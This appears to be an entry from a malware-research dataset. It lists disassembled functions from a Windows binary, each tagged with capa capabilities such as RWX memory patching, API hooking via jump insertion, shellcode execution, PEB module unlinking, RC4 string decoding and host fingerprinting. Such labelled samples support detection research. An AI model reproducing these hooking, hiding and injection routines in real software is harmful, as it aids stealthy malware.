joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100188e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007f251
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x100b200c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x38], edx
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x100bfaa0]
test eax, eax
jne 0x10018a8d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b4288]
movaps xmm0, xmmword [0x100a2cc0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x85
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x3b5c]
test al, 1
jne 0x100189ac
or eax, 1
mov dword [esi + 0x3b5c], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2ca9], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x2c98], al
add ecx, 1
adc edx, 0
jne 0x10018998
cmp ecx, 0x11
jb 0x10018980
push 0x1008fb50
call fcn.1007c886
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x2c98]
mov ecx, edi
call fcn.10075f80
mov eax, dword [esi + 0x608]
mov dword [ebp - 0x20], 0x760382d2
mov dword [ebp - 0x1c], 0x23db8441
mov dword [ebp - 0x18], 0x3f21a7e1
test al, 1
jne 0x10018a2c
or eax, 1
mov dword [esi + 0x608], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x4f6c], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x4f60], al
add ecx, 1
adc edx, 0
jne 0x10018a18
cmp ecx, 0xc
jb 0x10018a00
push 0x1008fba0
call fcn.1007c886
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x4f60]
mov ecx, esi
call fcn.10075fe0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018a86
push 7
call fcn.1007c7dd
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018a88
xor eax, eax
mov dword [0x100bfaa0], eax
push 0
push 0x8404f700
push 0
push 0
push dword [ebp - 0x30]
mov dword [0x100ba3b4], eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007bea9
mov esp, ebp
pop ebp
ret
Function at 0x10018ad0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007f2e1
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x100b200c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x100bfb08]
test eax, eax
jne 0x10018c6d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b4288]
movaps xmm0, xmmword [0x100a3140]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x91
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x4a68]
test al, 1
jne 0x10018b8c
or eax, 1
mov dword [esi + 0x4a68], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3c15], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x3c04], al
add ecx, 1
adc edx, 0
jne 0x10018b78
cmp ecx, 0x11
jb 0x10018b60
push 0x1008fbf0
call fcn.1007c886
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3c04]
mov ecx, edi
call fcn.10075ec0
mov eax, dword [esi + 0xdf8]
mov dword [ebp - 0x20], 0xfc476ac6
mov dword [ebp - 0x1c], 0x179b10d3
mov dword [ebp - 0x18], 0xb5654ff5
test al, 1
jne 0x10018c0c
or eax, 1
mov dword [esi + 0xdf8], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x11b0], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x11a4], al
add ecx, 1
adc edx, 0
jne 0x10018bf8
cmp ecx, 0xc
jb 0x10018be0
push 0x1008fc40
call fcn.1007c886
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x11a4]
mov ecx, esi
call fcn.10075f20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018c66
push 7
call fcn.1007c7dd
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018c68
xor eax, eax
mov dword [0x100bfb08], eax
push dword [ebp + 0x10]
mov dword [0x100b9b78], eax
push dword [ebp - 0x30]
push dword [ebp + 8]
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007bea9
mov esp, ebp
pop ebp
ret
Function at 0x10018ca0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007f371
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x100b200c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x100bfaac]
test eax, eax
jne 0x10018e3d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b4288]
movaps xmm0, xmmword [0x100a3ab0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xb3
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x1898]
test al, 1
jne 0x10018d5c
or eax, 1
mov dword [esi + 0x1898], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3961], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x3950], al
add ecx, 1
adc edx, 0
jne 0x10018d48
cmp ecx, 0x11
jb 0x10018d30
push 0x1008fc90
call fcn.1007c886
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3950]
mov ecx, edi
call fcn.10075e00
mov eax, dword [esi + 0x3b74]
mov dword [ebp - 0x20], 0x207726e4
mov dword [ebp - 0x1c], 0x9d09a209
mov dword [ebp - 0x18], 0x695503d7
test al, 1
jne 0x10018ddc
or eax, 1
mov dword [esi + 0x3b74], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2efc], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x2ef0], al
add ecx, 1
adc edx, 0
jne 0x10018dc8
cmp ecx, 0xc
jb 0x10018db0
push 0x1008fce0
call fcn.1007c886
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x2ef0]
mov ecx, esi
call fcn.10075e60
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018e36
push 7
call fcn.1007c7dd
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018e38
xor eax, eax
mov dword [0x100bfaac], eax
push dword [ebp - 0x30]
mov dword [0x100b8ef4], eax
push 0x64
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007bea9
mov esp, ebp
pop ebp
ret
Function at 0x10018e70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007f401
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x100b200c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x100bfb1c]
test eax, eax
jne 0x1001900d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b4288]
movaps xmm0, xmmword [0x100a29f0]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0xabaecd85
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x734]
test al, 1
jne 0x10018f2c
or eax, 1
mov dword [esi + 0x734], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3eec], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x3ed8], al
add ecx, 1
adc edx, 0
jne 0x10018f18
cmp ecx, 0x14
jb 0x10018f00
push 0x1008fd30
call fcn.1007c886
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3ed8]
mov ecx, edi
call fcn.10075d40
mov eax, dword [esi + 0x2458]
mov dword [ebp - 0x1c], 0xe285e8b6
mov dword [ebp - 0x18], 0x73359a83
mov dword [ebp - 0x14], 0xaba7cd85
test al, 1
jne 0x10018fac
or eax, 1
mov dword [esi + 0x2458], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x560], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x554], al
add ecx, 1
adc edx, 0
jne 0x10018f98
cmp ecx, 0xc
jb 0x10018f80
push 0x1008fd80
call fcn.1007c886
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x554]
mov ecx, esi
call fcn.10075da0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10019006
push 7
call fcn.1007c7dd
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10019008
xor eax, eax
mov dword [0x100bfb1c], eax
push ebx
mov dword [0x100baa60], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007bea9
mov esp, ebp
pop ebp
ret
Function at 0x10019040
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x100b200c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0
mov edi, edx
mov dword [ebp - 0x30], ecx
push 4
mov dword [ebp - 0x2c], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
test ebx, ebx
jne 0x1001907c
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007bea9
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x1c
xorps xmm0, xmm0
push eax
push ebx
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_Thread32First]
mov esi, eax
test esi, esi
je 0x10019184
nop dword [eax + eax]
cmp dword [ebp - 0x1c], edi
jne 0x1001919e
push dword [ebp - 0x20]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
mov dword [ebp - 0x34], edi
test edi, edi
je 0x10019179
push str.NtQueryInformationThread
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10019140
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
push 0x40
lea ecx, [ebp - 0xc]
push ecx
push eax
push edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x1001911c
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x10019140
push 0
push 4
lea eax, [ebp - 8]
push eax
push 9
push dword [ebp - 0xc]
call esi
push dword [ebp - 0xc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
xor ecx, ecx
test esi, esi
cmovne eax, ecx
cmp eax, dword [ebp - 0x30]
jne 0x1001916c
mov eax, dword [0x100bdf60]
cmp eax, dword [0x100bdf64]
je 0x1001915d
mov dword [eax], edi
add dword [0x100bdf60], 4
jmp 0x1001916c
lea ecx, [ebp - 0x34]
push ecx
push eax
mov ecx, 0x100bdf5c
call fcn.1007a840
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov esi, eax
mov edi, dword [ebp - 0x2c]
test esi, esi
jne 0x100190b0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.1007bea9
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov esi, eax
jmp 0x1001917c
Function at 0x10024970
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b200c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x100bcf68], 0
push esi
push edi
jle 0x100249da
mov ecx, dword [0x100b9748]
mov eax, dword [0x100b52c4]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x100249da
mov ecx, dword [0x100b9748]
mov eax, dword [0x100b52c4]
add eax, 0x15c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x10024a1a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x10024a0e
mov ecx, dword [0x100b9748]
mov eax, dword [0x100b52c4]
add eax, 0x15c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x10024a1a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x68
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1007bea9
mov esp, ebp
pop ebp
ret
Function at 0x10025520
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b200c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x100b9748]
mov eax, dword [0x100b52c4]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x100b9748]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x100b52c4]
je 0x1002558a
add eax, 0x168
cmp dword [0x100ba3ac], 0
push eax
je 0x10025590
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x100255bd
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x100255b1
add eax, 0x168
push eax
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x100255bd
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1007bea9
mov esp, ebp
pop ebp
ret

Function at 0x10025ca0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x100bd810], 0
jne 0x10025d03
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x100a1dec]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x10025cd3
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x10025cb6
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x100bd810], 1
mov dword [0x100baf18], eax
add eax, 0x18
mov dword [0x100b9e40], eax
mov esp, ebp
pop ebp
ret
Function at 0x1002a510
Capabilities:
Get hostname

Disassembly:
push 0x100b2468
push 0x100ba8ac
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.1002a420
cmp eax, 1
jne 0x1002a53c
push str.Win_XP
push 0x100b5678
call fcn.10008c70
add esp, 8
call fcn.1002a420
cmp eax, 2
jne 0x1002a558
push str.Win_Vista
push 0x100b5678
call fcn.10008c70
add esp, 8
call fcn.1002a420
cmp eax, 3
jne 0x1002a574
push str.Win_7
push 0x100b5678
call fcn.10008c70
add esp, 8
call fcn.1002a420
cmp eax, 4
jne 0x1002a590
push str.Win_8
push 0x100b5678
call fcn.10008c70
add esp, 8
call fcn.1002a420
cmp eax, 5
jne 0x1002a5ac
push str.Wi_10
push 0x100b5678
call fcn.10008c70
add esp, 8
ret
Function at 0x1002d5a0
Capabilities:
Get disk information

Disassembly:
push esi
push 0x64
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
push 0xff
push 0x100b9bc0
push 0x100b9728
push 0x100b53f4
push 0x100b90b0
push 0xff
push 0x100bdab0
push 0x100a1f48
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x100b90b0]
mov eax, ecx
shl eax, 5
add eax, ecx
push eax
imul eax, ecx, 0x19
push eax
push str._2x_2x
push esi
call fcn.10008c70
add esp, 0x10
mov eax, esi
pop esi
ret
Function at 0x10064b40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100b200c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x10064bde
cmp esi, 0x1000
jbe 0x10064bba
cmp edi, 0x1000
jbe 0x10064bba
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10017fb0
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x10064c4a
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10017fb0
add esp, 4
cmp esi, 0x1000
jbe 0x10064c4d
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x10064c4a
cmp esi, 0x1000
jbe 0x10064c28
cmp edi, 0x1000
jbe 0x10064c28
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10017fb0
add esp, 4
jmp 0x10064c42
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10017fb0
add esp, 4
cmp esi, 0x1000
jbe 0x10064c4d
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x10064c64
cmp al, 0x6a
je 0x10064c64
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10064b60
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007bea9
mov esp, ebp
pop ebp
ret
Function at 0x10065fc0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100b200c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x100660c2
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10066047
cmp ecx, edi
jne 0x1006603e
mov edx, dword [eax + 4]
test edx, edx
je 0x1006600c
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x1006600c
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10066018
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x10066025
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x1006603e
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x1006603e
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10065ff1
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10044ad0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x100650c0
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.1007bea9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10066680
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x100666ac
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x100666ce
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x100666d0
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x10066755
jg 0x100666e5
test esi, esi
je 0x10066755
test ecx, ecx
jl 0x10066738
jg 0x100666ef
test eax, eax
je 0x10066738
cmp edi, ecx
jg 0x10066703
jl 0x100666f9
cmp esi, eax
jae 0x10066703
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x10066755
jg 0x1006673b
test esi, esi
je 0x10066755
jmp 0x1006673b
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10066755
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc